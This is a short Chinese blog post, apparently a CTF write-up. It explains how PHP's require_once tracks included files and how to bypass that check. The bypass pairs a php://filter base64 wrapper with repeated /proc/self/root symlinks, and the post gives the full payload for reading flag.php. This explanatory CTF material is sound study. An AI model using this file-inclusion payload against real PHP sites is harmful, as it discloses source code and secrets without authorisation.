CTF中文件包含&伪协议

文章讨论了如何在PHP中通过利用伪协议、多级符号链接以及`require_once`的特性,实现对已包含文件的flag.php的间接访问,以绕过文件哈希表的检查。
摘要由CSDN通过智能技术生成

本来可以直接用伪协议进行读取,但是本题用了require_once方法

require_once:和 require 类似,不同处在于 require_once 只导入一次。

require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

因为 php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中

我们都知道require_once在调用时php会检查该文件是否已经被包含过,而这里在前面就已经包含了文件,我们在后面再想包含’flag.php’时就不能实现了,而我们需要做到就是怎么绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容。

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过

那么payload=?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

  • 10
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值